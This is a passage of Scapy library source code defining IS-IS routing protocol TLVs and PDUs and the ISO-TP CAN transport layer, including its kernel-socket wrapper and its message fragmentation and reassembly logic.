ConditionalField(IntField("extlocalcircuitid", None), lambda pkt: pkt.len >= 5), # noqa: E501 ConditionalField(ISIS_SystemIdField("neighboursystemid", None), lambda pkt: pkt.len >= 11), # noqa: E501 ConditionalField(IntField("neighbourextlocalcircuitid", None), lambda pkt: pkt.len == 15)] # noqa: E501 # TODO dynamically allocate sufficient size class ISIS_PaddingTlv(ISIS_GenericTlv): name = "ISIS Padding TLV" fields_desc = [ ByteEnumField("type", 8, _isis_tlv_names), FieldLenField("len", None, length_of="padding", fmt="B"), BoundStrLenField("padding", "", length_from=lambda pkt: pkt.len) ] class ISIS_ProtocolsSupportedTlv(ISIS_GenericTlv): name = "ISIS Protocols Supported TLV" fields_desc = [ ByteEnumField("type", 129, _isis_tlv_names), FieldLenField("len", None, count_of="nlpids", fmt="B"), FieldListField("nlpids", [], ByteEnumField("", "IPv4", network_layer_protocol_ids), count_from=lambda pkt: pkt.len) # noqa: E501 ] class ISIS_RouterCapabilityTlv(ISIS_GenericTlv): name = "ISIS Router Capability TLV" fields_desc = [ ByteEnumField("type", 242, _isis_tlv_names), FieldLenField( "len", None, length_of="subtlvs", adjust=lambda pkt, x: x + 5, fmt="B"), IPField("routerid", "0.0.0.0"), FlagsField( "flags", 0, 8, ["S", "D", "res1", "res2", "res3", "res4", "res5", "res6"]), PacketListField( "subtlvs", [], _ISIS_GuessSubTlvClass_4, length_from=lambda pkt: pkt.len - 5) ] ####################################################################### # ISIS Old-Style TLVs # ####################################################################### class ISIS_IpReachabilityEntry(Packet): name = "ISIS IP Reachability" fields_desc = [ByteField("defmetric", 1), ByteField("delmetric", 0x80), ByteField("expmetric", 0x80), ByteField("errmetric", 0x80), IPField("ipaddress", "0.0.0.0"), IPField("subnetmask", "255.255.255.255")] def extract_padding(self, s): return "", s class ISIS_InternalIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS Internal IP Reachability TLV" fields_desc = [ ByteEnumField("type", 128, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12) # noqa: E501 ] class ISIS_ExternalIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS External IP Reachability TLV" fields_desc = [ ByteEnumField("type", 130, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12) # noqa: E501 ] class ISIS_IsReachabilityEntry(Packet): name = "ISIS IS Reachability" fields_desc = [ByteField("defmetric", 1), ByteField("delmetric", 0x80), ByteField("expmetric", 0x80), ByteField("errmetric", 0x80), ISIS_NodeIdField("neighbourid", "0102.0304.0506.07")] def extract_padding(self, s): return "", s class ISIS_IsReachabilityTlv(ISIS_GenericTlv): name = "ISIS IS Reachability TLV" fields_desc = [ ByteEnumField("type", 2, _isis_tlv_names), FieldLenField("len", None, fmt="B", length_of="neighbours", adjust=lambda pkt, x: x + 1), # noqa: E501 ByteField("virtual", 0), PacketListField("neighbours", [], ISIS_IsReachabilityEntry, count_from=lambda x: (x.len - 1) // 11) # noqa: E501 ] ####################################################################### # ISIS PDU Packets # ####################################################################### _isis_pdu_names = { 15: "L1 LAN Hello", 16: "L2 LAN Hello", 17: "P2P Hello", 18: "L1 LSP", 20: "L2 LSP", 24: "L1 CSNP", 25: "L2 CSNP", 26: "L1 PSNP", 27: "L2 PSNP" } class ISIS_CommonHdr(Packet): name = "ISIS Common Header" fields_desc = [ ByteEnumField("nlpid", 0x83, network_layer_protocol_ids), ByteField("hdrlen", None), ByteField("version", 1), ByteField("idlen", 0), ByteEnumField("pdutype", None, _isis_pdu_names), ByteField("pduversion", 1), ByteField("hdrreserved", 0), ByteField("maxareaaddr", 0) ] def post_build(self, pkt, pay): # calculating checksum if requested pdu = pkt + pay checksumInfo = self[1].checksum_info(self.hdrlen) if checksumInfo is not None: (cbegin, cpos) = checksumInfo checkbytes = fletcher16_checkbytes(pdu[cbegin:], (cpos - cbegin)) pdu = pdu[:cpos] + checkbytes + pdu[cpos + 2:] return pdu class _ISIS_PduBase(Packet): def checksum_info(self, hdrlen): checksumPosition = hdrlen for tlv in self.tlvs: if isinstance(tlv, ISIS_ChecksumTlv): checksumPosition += 2 return (0, checksumPosition) else: checksumPosition += len(tlv) return None def guess_payload_class(self, p): return conf.padding_layer class _ISIS_PduLengthField(FieldLenField): def __init__(self): FieldLenField.__init__(self, "pdulength", None, length_of="tlvs", adjust=lambda pkt, x: x + pkt.underlayer.hdrlen) # noqa: E501 class _ISIS_TlvListField(PacketListField): def __init__(self): PacketListField.__init__(self, "tlvs", [], _ISIS_GuessTlvClass, length_from=lambda pkt: pkt.pdulength - pkt.underlayer.hdrlen) # noqa: E501 class _ISIS_LAN_HelloBase(_ISIS_PduBase): fields_desc = [ ISIS_CircuitTypeField(), ISIS_SystemIdField("sourceid", "0102.0304.0506"), ShortField("holdingtime", 30), _ISIS_PduLengthField(), ByteField("priority", 1), ISIS_NodeIdField("lanid", "0000.0000.0000.00"), _ISIS_TlvListField() ] class ISIS_L1_LAN_Hello(_ISIS_LAN_HelloBase): name = "ISIS L1 LAN Hello PDU" class ISIS_L2_LAN_Hello(_ISIS_LAN_HelloBase): name = "ISIS L2 LAN Hello PDU" class ISIS_P2P_Hello(_ISIS_PduBase): name = "ISIS Point-to-Point Hello PDU" fields_desc = [ ISIS_CircuitTypeField(), ISIS_SystemIdField("sourceid", "0102.0304.0506"), ShortField("holdingtime", 30), _ISIS_PduLengthField(), ByteField("localcircuitid", 0), _ISIS_TlvListField() ] class _ISIS_LSP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ShortField("lifetime", 1199), ISIS_LspIdField("lspid", "0102.0304.0506.00-00"), XIntField("seqnum", 0x00000001), XShortField("checksum", None), FlagsField("typeblock", 0x03, 8, ["L1", "L2", "OL", "ADef", "ADel", "AExp", "AErr", "P"]), # noqa: E501 _ISIS_TlvListField() ] def checksum_info(self, hdrlen): if self.checksum is not None: return None return (12, 24) def _lsp_answers(lsp, other, clsname): # TODO return 0 class ISIS_L1_LSP(_ISIS_LSP_Base): name = "ISIS L1 Link State PDU" def answers(self, other): return _lsp_answers(self, other, "ISIS_L1_PSNP") class ISIS_L2_LSP(_ISIS_LSP_Base): name = "ISIS L2 Link State PDU" def answers(self, other): return _lsp_answers(self, other, "ISIS_L2_PSNP") class _ISIS_CSNP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), ISIS_LspIdField("startlspid", "0000.0000.0000.00-00"), ISIS_LspIdField("endlspid", "FFFF.FFFF.FFFF.FF-FF"), _ISIS_TlvListField() ] def _snp_answers(snp, other, clsname): # TODO return 0 class ISIS_L1_CSNP(_ISIS_CSNP_Base): name = "ISIS L1 Complete Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L1_LSP") class ISIS_L2_CSNP(_ISIS_CSNP_Base): name = "ISIS L2 Complete Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L2_LSP") class _ISIS_PSNP_Base(_ISIS_PduBase): fields_desc = [ _ISIS_PduLengthField(), ISIS_NodeIdField("sourceid", "0102.0304.0506.00"), _ISIS_TlvListField() ] class ISIS_L1_PSNP(_ISIS_PSNP_Base): name = "ISIS L1 Partial Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L1_LSP") class ISIS_L2_PSNP(_ISIS_PSNP_Base): name = "ISIS L2 Partial Sequence Number Packet" def answers(self, other): return _snp_answers(self, other, "ISIS_L2_LSP") register_cln_protocol(0x83, ISIS_CommonHdr) bind_layers(ISIS_CommonHdr, ISIS_L1_LAN_Hello, hdrlen=27, pdutype=15) bind_layers(ISIS_CommonHdr, ISIS_L2_LAN_Hello, hdrlen=27, pdutype=16) bind_layers(ISIS_CommonHdr, ISIS_P2P_Hello, hdrlen=20, pdutype=17) bind_layers(ISIS_CommonHdr, ISIS_L1_LSP, hdrlen=27, pdutype=18) bind_layers(ISIS_CommonHdr, ISIS_L2_LSP, hdrlen=27, pdutype=20) bind_layers(ISIS_CommonHdr, ISIS_L1_CSNP, hdrlen=33, pdutype=24) bind_layers(ISIS_CommonHdr, ISIS_L2_CSNP, hdrlen=33, pdutype=25) bind_layers(ISIS_CommonHdr, ISIS_L1_PSNP, hdrlen=17, pdutype=26) bind_layers(ISIS_CommonHdr, ISIS_L2_PSNP, hdrlen=17, pdutype=27) ================================================ FILE: scapy/contrib/isotp/__init__.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = ISO-TP (ISO 15765-2) # scapy.contrib.status = loads import logging from scapy.consts import LINUX from scapy.config import conf from scapy.error import log_loading from scapy.contrib.isotp.isotp_packet import ISOTP, ISOTPHeader, \ ISOTPHeaderEA, ISOTP_SF, ISOTP_FF, ISOTP_CF, ISOTP_FC, \ ISOTP_FF_FD, ISOTP_SF_FD, ISOTPHeaderEA_FD, ISOTPHeader_FD from scapy.contrib.isotp.isotp_utils import ISOTPSession, \ ISOTPMessageBuilder from scapy.contrib.isotp.isotp_soft_socket import ISOTPSoftSocket from scapy.contrib.isotp.isotp_scanner import isotp_scan __all__ = ["ISOTP", "ISOTPHeader", "ISOTPHeaderEA", "ISOTP_SF", "ISOTP_FF", "ISOTP_CF", "ISOTP_FC", "ISOTP_FF_FD", "ISOTP_SF_FD", "ISOTPSoftSocket", "ISOTPSession", "ISOTPHeader_FD", "ISOTPHeaderEA_FD", "ISOTPSocket", "ISOTPMessageBuilder", "isotp_scan", "USE_CAN_ISOTP_KERNEL_MODULE", "log_isotp"] USE_CAN_ISOTP_KERNEL_MODULE = False log_isotp = logging.getLogger("scapy.contrib.isotp") log_isotp.setLevel(logging.INFO) if LINUX: try: if conf.contribs['ISOTP']['use-can-isotp-kernel-module']: USE_CAN_ISOTP_KERNEL_MODULE = True except KeyError: log_loading.info( "Specify 'conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': True}' " # noqa: E501 "to enable usage of can-isotp kernel module.") from scapy.contrib.isotp.isotp_native_socket import ISOTPNativeSocket __all__.append("ISOTPNativeSocket") if USE_CAN_ISOTP_KERNEL_MODULE: ISOTPSocket = ISOTPNativeSocket else: ISOTPSocket = ISOTPSoftSocket ================================================ FILE: scapy/contrib/isotp/isotp_native_socket.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = ISO-TP (ISO 15765-2) Native Socket Library # scapy.contrib.status = library import ctypes import socket import struct from ctypes.util import find_library # Typing imports from typing import ( Any, Optional, Union, Tuple, Type, cast, ) from scapy.arch.linux import get_last_packet_timestamp, SIOCGIFINDEX from scapy.config import conf from scapy.contrib.isotp import log_isotp from scapy.contrib.isotp.isotp_packet import ISOTP from scapy.data import SO_TIMESTAMPNS from scapy.error import Scapy_Exception from scapy.layers.can import CAN_MTU, CAN_FD_MTU, CAN_MAX_DLEN, CAN_FD_MAX_DLEN from scapy.packet import Packet from scapy.supersocket import SuperSocket LIBC = ctypes.cdll.LoadLibrary(find_library("c")) # type: ignore CAN_ISOTP = 6 # ISO 15765-2 Transport Protocol SOL_CAN_BASE = 100 # from can.h SOL_CAN_ISOTP = SOL_CAN_BASE + CAN_ISOTP # /* for socket options affecting the socket (not the global system) */ CAN_ISOTP_OPTS = 1 # /* pass struct can_isotp_options */ CAN_ISOTP_RECV_FC = 2 # /* pass struct can_isotp_fc_options */ # /* sockopts to force stmin timer values for protocol regression tests */ CAN_ISOTP_TX_STMIN = 3 # /* pass __u32 value in nano secs */ CAN_ISOTP_RX_STMIN = 4 # /* pass __u32 value in nano secs */ CAN_ISOTP_LL_OPTS = 5 # /* pass struct can_isotp_ll_options */ CAN_ISOTP_LISTEN_MODE = 0x001 # /* listen only (do not send FC) */ CAN_ISOTP_EXTEND_ADDR = 0x002 # /* enable extended addressing */ CAN_ISOTP_TX_PADDING = 0x004 # /* enable CAN frame padding tx path */ CAN_ISOTP_RX_PADDING = 0x008 # /* enable CAN frame padding rx path */ CAN_ISOTP_CHK_PAD_LEN = 0x010 # /* check received CAN frame padding */ CAN_ISOTP_CHK_PAD_DATA = 0x020 # /* check received CAN frame padding */ CAN_ISOTP_HALF_DUPLEX = 0x040 # /* half duplex error state handling */ CAN_ISOTP_FORCE_TXSTMIN = 0x080 # /* ignore stmin from received FC */ CAN_ISOTP_FORCE_RXSTMIN = 0x100 # /* ignore CFs depending on rx stmin */ CAN_ISOTP_RX_EXT_ADDR = 0x200 # /* different rx extended addressing */ # /* default values */ CAN_ISOTP_DEFAULT_FLAGS = 0 CAN_ISOTP_DEFAULT_EXT_ADDRESS = 0x00 CAN_ISOTP_DEFAULT_PAD_CONTENT = 0xCC # /* prevent bit-stuffing */ CAN_ISOTP_DEFAULT_FRAME_TXTIME = 0 CAN_ISOTP_DEFAULT_RECV_BS = 0 CAN_ISOTP_DEFAULT_RECV_STMIN = 0x00 CAN_ISOTP_DEFAULT_RECV_WFTMAX = 0 CAN_ISOTP_DEFAULT_LL_MTU = CAN_MTU CAN_ISOTP_CANFD_MTU = CAN_FD_MTU CAN_ISOTP_DEFAULT_LL_TX_DL = CAN_MAX_DLEN CAN_FD_ISOTP_DEFAULT_LL_TX_DL = CAN_FD_MAX_DLEN CAN_ISOTP_DEFAULT_LL_TX_FLAGS = 0 CANFD_BRS = 1 # /* CAN FD Bit Rate Switch */ CANFD_ESI = 2 # /* CAN FD Error State Indicator */ CANFD_FDF = 4 # /* CAN FD FD Flag */ class tp(ctypes.Structure): # This struct is only used within the sockaddr_can struct _fields_ = [("rx_id", ctypes.c_uint32), ("tx_id", ctypes.c_uint32)] class addr_info(ctypes.Union): # This struct is only used within the sockaddr_can struct # This union is to future proof for future can address information _fields_ = [("tp", tp)] class sockaddr_can(ctypes.Structure): # See /usr/include/linux/can.h for original struct _fields_ = [("can_family", ctypes.c_uint16), ("can_ifindex", ctypes.c_int), ("can_addr", addr_info)] class ifreq(ctypes.Structure): # The two fields in this struct were originally unions. # See /usr/include/net/if.h for original struct _fields_ = [("ifr_name", ctypes.c_char * 16), ("ifr_ifindex", ctypes.c_int)] class ISOTPNativeSocket(SuperSocket): """ ISOTPSocket using the can-isotp kernel module :param iface: a CANSocket instance or an interface name :param tx_id: the CAN identifier of the sent CAN frames :param rx_id: the CAN identifier of the received CAN frames :param ext_address: the extended address of the sent ISOTP frames :param rx_ext_address: the extended address of the received ISOTP frames :param bs: block size sent in Flow Control ISOTP frames :param stmin: minimum desired separation time sent in Flow Control ISOTP frames :param padding: If True, pads sending packets with 0x00 which not count to the payload. Does not affect receiving packets. :param listen_only: Does not send Flow Control frames if a First Frame is received :param frame_txtime: Separation time between two CAN frames during send :param basecls: base class of the packets emitted by this socket """ desc = "read/write packets at a given CAN interface using CAN_ISOTP socket " # noqa: E501 can_isotp_options_fmt = "@2I4B" can_isotp_fc_options_fmt = "@3B" can_isotp_ll_options_fmt = "@3B" sockaddr_can_fmt = "@H3I" auxdata_available = True def __build_can_isotp_options( self, flags=CAN_ISOTP_DEFAULT_FLAGS, frame_txtime=CAN_ISOTP_DEFAULT_FRAME_TXTIME, ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS, txpad_content=CAN_ISOTP_DEFAULT_PAD_CONTENT, rxpad_content=CAN_ISOTP_DEFAULT_PAD_CONTENT, rx_ext_address=CAN_ISOTP_DEFAULT_EXT_ADDRESS): # type: (int, int, int, int, int, int) -> bytes return struct.pack(self.can_isotp_options_fmt, flags, frame_txtime, ext_address, txpad_content, rxpad_content, rx_ext_address) # == Must use native not standard types for packing == # struct can_isotp_options { # __u32 flags; /* set flags for isotp behaviour. */ # /* __u32 value : flags see below */ # # __u32 frame_txtime; /* frame transmission time (N_As/N_Ar) */ # /* __u32 value : time in nano secs */ # # __u8 ext_address; /* set address for extended addressing */ # /* __u8 value : extended address */ # # __u8 txpad_content; /* set content of padding byte (tx) */ # /* __u8 value : content on tx path */ # # __u8 rxpad_content; /* set content of padding byte (rx) */ # /* __u8 value : content on rx path */ # # __u8 rx_ext_address; /* set address for extended addressing */ # /* __u8 value : extended address (rx) */ # }; def __build_can_isotp_fc_options(self, bs=CAN_ISOTP_DEFAULT_RECV_BS, stmin=CAN_ISOTP_DEFAULT_RECV_STMIN, wftmax=CAN_ISOTP_DEFAULT_RECV_WFTMAX): # type: (int, int, int) -> bytes return struct.pack(self.can_isotp_fc_options_fmt, bs, stmin, wftmax) # == Must use native not standard types for packing == # struct can_isotp_fc_options { # # __u8 bs; /* blocksize provided in FC frame */ # /* __u8 value : blocksize. 0 = off */ # # __u8 stmin; /* separation time provided in FC frame */ # /* __u8 value : */ # /* 0x00 - 0x7F : 0 - 127 ms */ # /* 0x80 - 0xF0 : reserved */ # /* 0xF1 - 0xF9 : 100 us - 900 us */ # /* 0xFA - 0xFF : reserved */ # # __u8 wftmax; /* max. number of wait frame transmiss. */ # /* __u8 value : 0 = omit FC N_PDU WT */ # }; def __build_can_isotp_ll_options(self, mtu=CAN_ISOTP_DEFAULT_LL_MTU, tx_dl=CAN_ISOTP_DEFAULT_LL_TX_DL, tx_flags=CAN_ISOTP_DEFAULT_LL_TX_FLAGS ): # type: (int, int, int) -> bytes return struct.pack(self.can_isotp_ll_options_fmt, mtu, tx_dl, tx_flags) # == Must use native not standard types for packing == # struct can_isotp_ll_options { # # __u8 mtu; /* generated & accepted CAN frame type */ # /* __u8 value : */ # /* CAN_MTU (16) -> standard CAN 2.0 */ # /* CANFD_MTU (72) -> CAN FD frame */ # # __u8 tx_dl; /* tx link layer data length in bytes */ # /* (configured maximum payload length) */ # /* __u8 value : 8,12,16,20,24,32,48,64 */ # /* => rx path supports all LL_DL values */ # # __u8 tx_flags; /* set into struct canfd_frame.flags */ # /* at frame creation: e.g. CANFD_BRS */ # /* Obsolete when the BRS flag is fixed */ # /* by the CAN netdriver configuration */ # }; def __get_sock_ifreq(self, sock, iface): # type: (socket.socket, str) -> ifreq socket_id = ctypes.c_int(sock.fileno()) ifr = ifreq() ifr.ifr_name = iface.encode('ascii') ret = LIBC.ioctl(socket_id, SIOCGIFINDEX, ctypes.byref(ifr)) if ret < 0: m = u'Failure while getting "{}" interface index.'.format( iface) raise Scapy_Exception(m) return ifr def __bind_socket(self, sock, iface, tx_id, rx_id): # type: (socket.socket, str, int, int) -> None socket_id = ctypes.c_int(sock.fileno()) ifr = self.__get_sock_ifreq(sock, iface) if tx_id > 0x7ff: tx_id = tx_id | socket.CAN_EFF_FLAG if rx_id > 0x7ff: rx_id = rx_id | socket.CAN_EFF_FLAG # select the CAN interface and bind the socket to it addr = sockaddr_can(ctypes.c_uint16(socket.PF_CAN), ifr.ifr_ifindex, addr_info(tp(ctypes.c_uint32(rx_id), ctypes.c_uint32(tx_id)))) error = LIBC.bind(socket_id, ctypes.byref(addr), ctypes.sizeof(addr)) if error < 0: log_isotp.warning("Couldn't bind socket") def __set_option_flags(self, sock, # type: socket.socket extended_addr=None, # type: Optional[int] extended_rx_addr=None, # type: Optional[int] listen_only=False, # type: bool padding=False, # type: bool transmit_time=100 # type: int ): # type: (...) -> None option_flags = CAN_ISOTP_DEFAULT_FLAGS if extended_addr is not None: option_flags = option_flags | CAN_ISOTP_EXTEND_ADDR else: extended_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS if extended_rx_addr is not None: option_flags = option_flags | CAN_ISOTP_RX_EXT_ADDR else: extended_rx_addr = CAN_ISOTP_DEFAULT_EXT_ADDRESS if listen_only: option_flags = option_flags | CAN_ISOTP_LISTEN_MODE if padding: option_flags = option_flags | CAN_ISOTP_TX_PADDING | CAN_ISOTP_RX_PADDING # noqa: E501 sock.setsockopt(SOL_CAN_ISOTP, CAN_ISOTP_OPTS, self.__build_can_isotp_options( frame_txtime=transmit_time, flags=option_flags, ext_address=extended_addr, rx_ext_address=extended_rx_addr)) def __init__(self, iface=None, # type: Optional[Union[str, SuperSocket]] tx_id=0, # type: int rx_id=0, # type: int ext_address=None, # type: Optional[int] rx_ext_address=None, # type: Optional[int] bs=CAN_ISOTP_DEFAULT_RECV_BS, # type: int stmin=CAN_ISOTP_DEFAULT_RECV_STMIN, # type: int padding=False, # type: bool listen_only=False, # type: bool frame_txtime=CAN_ISOTP_DEFAULT_FRAME_TXTIME, # type: int fd=False, # type: bool brs=False, # type: bool basecls=ISOTP # type: Type[Packet] ): # type: (...) -> None if not isinstance(iface, str): # This is for interoperability with ISOTPSoftSockets. # If a NativeCANSocket is provided, the interface name of this # socket is extracted and an ISOTPNativeSocket will be opened # on this interface. iface = cast(SuperSocket, iface) if hasattr(iface, "ins") and hasattr(iface.ins, "getsockname"): iface = iface.ins.getsockname() if isinstance(iface, tuple): iface = cast(str, iface[0]) else: raise Scapy_Exception("Provide a string or a CANSocket " "object as iface parameter") self.iface: str = cast(str, iface) or conf.contribs['NativeCANSocket']['iface'] # noqa: E501 # store arguments internally self.tx_id = tx_id self.rx_id = rx_id self.ext_address = ext_address self.rx_ext_address = rx_ext_address self.bs = bs self.stmin = stmin self.padding = padding self.listen_only = listen_only self.frame_txtime = frame_txtime self.fd = fd self.brs = brs if basecls is None: log_isotp.warning('Provide a basecls ') self.basecls = basecls self._init_socket() def _init_socket(self) -> None: can_socket = socket.socket( socket.PF_CAN, socket.SOCK_DGRAM, CAN_ISOTP) self.__set_option_flags( can_socket, self.ext_address, self.rx_ext_address, self.listen_only, self.padding, self.frame_txtime) can_socket.setsockopt( SOL_CAN_ISOTP, CAN_ISOTP_RECV_FC, self.__build_can_isotp_fc_options(stmin=self.stmin, bs=self.bs)) tx_flags = ((CANFD_FDF if self.fd else 0) + (CANFD_BRS if (self.brs + self.fd) else 0)) tx_dl = CAN_FD_ISOTP_DEFAULT_LL_TX_DL if self.fd else CAN_ISOTP_DEFAULT_LL_TX_DL can_socket.setsockopt( SOL_CAN_ISOTP, CAN_ISOTP_LL_OPTS, self.__build_can_isotp_ll_options( mtu=CAN_ISOTP_CANFD_MTU if self.fd else CAN_ISOTP_DEFAULT_LL_MTU, tx_dl=tx_dl, tx_flags=tx_flags)) can_socket.setsockopt( socket.SOL_SOCKET, SO_TIMESTAMPNS, 1 ) self.__bind_socket(can_socket, self.iface, self.tx_id, self.rx_id) # make sure existing sockets are closed, # required in case of a reconnect. if getattr(self, "outs", None): if getattr(self, "ins", None) != self.outs: if self.outs and self.outs.fileno() != -1: self.outs.close() if getattr(self, "ins", None): if self.ins.fileno() != -1: self.ins.close() self.ins = can_socket self.outs = can_socket self.closed = False def recv_raw(self, x=0xffff): # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]] # noqa: E501 """ Receives a packet, then returns a tuple containing (cls, pkt_data, time) """ try: pkt, _, ts = self._recv_raw(self.ins, x) except BlockingIOError: # noqa: F821 log_isotp.warning('Captured no data, socket in non-blocking mode.') return None, None, None except socket.timeout: log_isotp.warning('Captured no data, socket read timed out.') return None, None, None except OSError as e: # something bad happened (e.g. the interface went down) log_isotp.warning("Captured no data. %s" % e) if e.errno == 84: log_isotp.warning("Maybe a consecutive frame was missed. " "Increasing `stmin` could solve this problem.") elif e.errno == 110: log_isotp.warning('Captured no data, socket read timed out.') elif e.errno == 70: log_isotp.warning( 'Communication error on send. ' 'TX path flowcontrol reception timeout.') else: log_isotp.error( 'Unknown error code received %d. Closing socket!', e.errno) self.close() return None, None, None if pkt and ts is None: ts = get_last_packet_timestamp(self.ins) return self.basecls, pkt, ts def recv(self, x=0xffff, **kwargs): # type: (int, **Any) -> Optional[Packet] msg = SuperSocket.recv(self, x, **kwargs) if msg is None: return msg if hasattr(msg, "tx_id"): msg.tx_id = self.tx_id if hasattr(msg, "rx_id"): msg.rx_id = self.rx_id if hasattr(msg, "ext_address"): msg.ext_address = self.ext_address if hasattr(msg, "rx_ext_address"): msg.rx_ext_address = self.rx_ext_address return msg ================================================ FILE: scapy/contrib/isotp/isotp_packet.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = ISO-TP (ISO 15765-2) Packet Definitions # scapy.contrib.status = library import logging import struct # Typing imports from typing import ( Optional, List, Tuple, Any, Type, cast, ) from scapy.compat import chb, orb from scapy.config import conf from scapy.error import Scapy_Exception from scapy.fields import BitField, FlagsField, StrLenField, \ ThreeBytesField, XBitField, ConditionalField, \ BitEnumField, ByteField, XByteField, BitFieldLenField, StrField, \ FieldLenField, IntField, ShortField from scapy.layers.can import CAN, CAN_FD_MAX_DLEN as CAN_FD_MAX_DLEN, CANFD from scapy.packet import Packet log_isotp = logging.getLogger("scapy.contrib.isotp") CAN_MAX_IDENTIFIER = (1 << 29) - 1 # Maximum 29-bit identifier CAN_MTU = 16 CAN_MAX_DLEN = 8 ISOTP_MAX_DLEN_2015 = (1 << 32) - 1 # Maximum for 32-bit FF_DL ISOTP_MAX_DLEN = (1 << 12) - 1 # Maximum for 12-bit FF_DL ISOTP_TYPES = {0: 'single', 1: 'first', 2: 'consecutive', 3: 'flow_control'} N_PCI_SF = 0x00 # /* single frame */ N_PCI_FF = 0x10 # /* first frame */ N_PCI_CF = 0x20 # /* consecutive frame */ N_PCI_FC = 0x30 # /* flow control */ class ISOTP(Packet): """Packet class for ISOTP messages. This class contains additional slots for source address (tx_id), destination address (rx_id), extended source address (ext_address) and extended destination address (rx_ext_address) information. This information gets filled from ISOTPSockets or the ISOTPMessageBuilder, if it is available. Address information is not used for Packet comparison. :param args: Arguments for Packet init, for example bytes string :param kwargs: Keyword arguments for Packet init. """ name = 'ISOTP' fields_desc = [ StrField('data', b"") ] __slots__ = Packet.__slots__ + ["tx_id", "rx_id", "ext_address", "rx_ext_address"] # noqa: E501 def __init__(self, *args, **kwargs): # type: (Any, Any) -> None self.tx_id = kwargs.pop("tx_id", None) # type: Optional[int] self.rx_id = kwargs.pop("rx_id", None) # type: Optional[int] self.ext_address = kwargs.pop("ext_address", None) # type: Optional[int] # noqa: E501 self.rx_ext_address = kwargs.pop("rx_ext_address", None) # type: Optional[int] # noqa: E501 Packet.__init__(self, *args, **kwargs) self.validate_fields() def validate_fields(self): # type: () -> None """Helper function to validate information in tx_id, rx_id, ext_address and rx_ext_address slots """ if self.tx_id is not None: if not 0 <= self.tx_id <= CAN_MAX_IDENTIFIER: raise Scapy_Exception("tx_id is not a valid CAN identifier") if self.rx_id is not None: if not 0 <= self.rx_id <= CAN_MAX_IDENTIFIER: raise Scapy_Exception("rx_id is not a valid CAN identifier") if self.ext_address is not None: if not 0 <= self.ext_address <= 0xff: raise Scapy_Exception("ext_address is not a byte") if self.rx_ext_address is not None: if not 0 <= self.rx_ext_address <= 0xff: raise Scapy_Exception("rx_ext_address is not a byte") def fragment(self, *args, **kargs): # type: (*Any, **Any) -> List[Packet] """Helper function to fragment an ISOTP message into multiple CAN frames. :param fd: type: Optional[bool]: will fragment the can frames with size CAN_FD_MAX_DLEN :return: A list of CAN frames """ fd = kargs.pop("fd", False) pkt_cls = CANFD if fd else CAN def _get_data_len(): # type: () -> int return CAN_MAX_DLEN if not fd else CAN_FD_MAX_DLEN data_bytes_in_frame = _get_data_len() - 1 if self.rx_ext_address is not None: data_bytes_in_frame = data_bytes_in_frame - 1 if len(self.data) > ISOTP_MAX_DLEN_2015: raise Scapy_Exception("Too much data in ISOTP message") if len(self.data) <= data_bytes_in_frame: # We can do this in a single frame frame_data = struct.pack('B', len(self.data)) + self.data if self.rx_ext_address: frame_data = struct.pack('B', self.rx_ext_address) + frame_data if self.rx_id is None or self.rx_id <= 0x7ff: pkt = pkt_cls(identifier=self.rx_id, data=frame_data) else: pkt = pkt_cls(identifier=self.rx_id, flags="extended", data=frame_data) return [pkt] # Construct the first frame if len(self.data) <= ISOTP_MAX_DLEN: frame_header = struct.pack(">H", len(self.data) + 0x1000) else: frame_header = struct.pack(">HI", 0x1000, len(self.data)) if self.rx_ext_address: frame_header = struct.pack('B', self.rx_ext_address) + frame_header idx = _get_data_len() - len(frame_header) frame_data = self.data[0:idx] if self.rx_id is None or self.rx_id <= 0x7ff: frame = pkt_cls(identifier=self.rx_id, data=frame_header + frame_data) else: frame = pkt_cls(identifier=self.rx_id, flags="extended", data=frame_header + frame_data) # Construct consecutive frames n = 1 pkts = [frame] while idx < len(self.data): frame_data = self.data[idx:idx + data_bytes_in_frame] frame_header = struct.pack("b", (n % 16) + N_PCI_CF) n += 1 idx += len(frame_data) if self.rx_ext_address: frame_header = struct.pack('B', self.rx_ext_address) + frame_header # noqa: E501 if self.rx_id is None or self.rx_id <= 0x7ff: pkt = pkt_cls(identifier=self.rx_id, data=frame_header + frame_data) # noqa: E501 else: pkt = pkt_cls(identifier=self.rx_id, flags="extended", data=frame_header + frame_data) pkts.append(pkt) return cast(List[Packet], pkts) @staticmethod def defragment(can_frames, use_extended_addressing=None): # type: (List[Packet], Optional[bool]) -> Optional[ISOTP] """Helper function to defragment a list of CAN frames to one ISOTP message :param can_frames: A list of CAN frames :param use_extended_addressing: Specify if extended ISO-TP addressing is used in the packets for defragmentation. :return: An ISOTP message containing the data of the CAN frames or None """ from scapy.contrib.isotp.isotp_utils import ISOTPMessageBuilder if len(can_frames) == 0: raise Scapy_Exception("ISOTP.defragment called with 0 frames") dst = can_frames[0].identifier if any(frame.identifier != dst for frame in can_frames): log_isotp.warning("Not all CAN frames have the same identifier") parser = ISOTPMessageBuilder(use_extended_addressing) parser.feed(can_frames) results = [] for p in parser: if (use_extended_addressing is True and p.rx_ext_address is not None) \ or (use_extended_addressing is False and 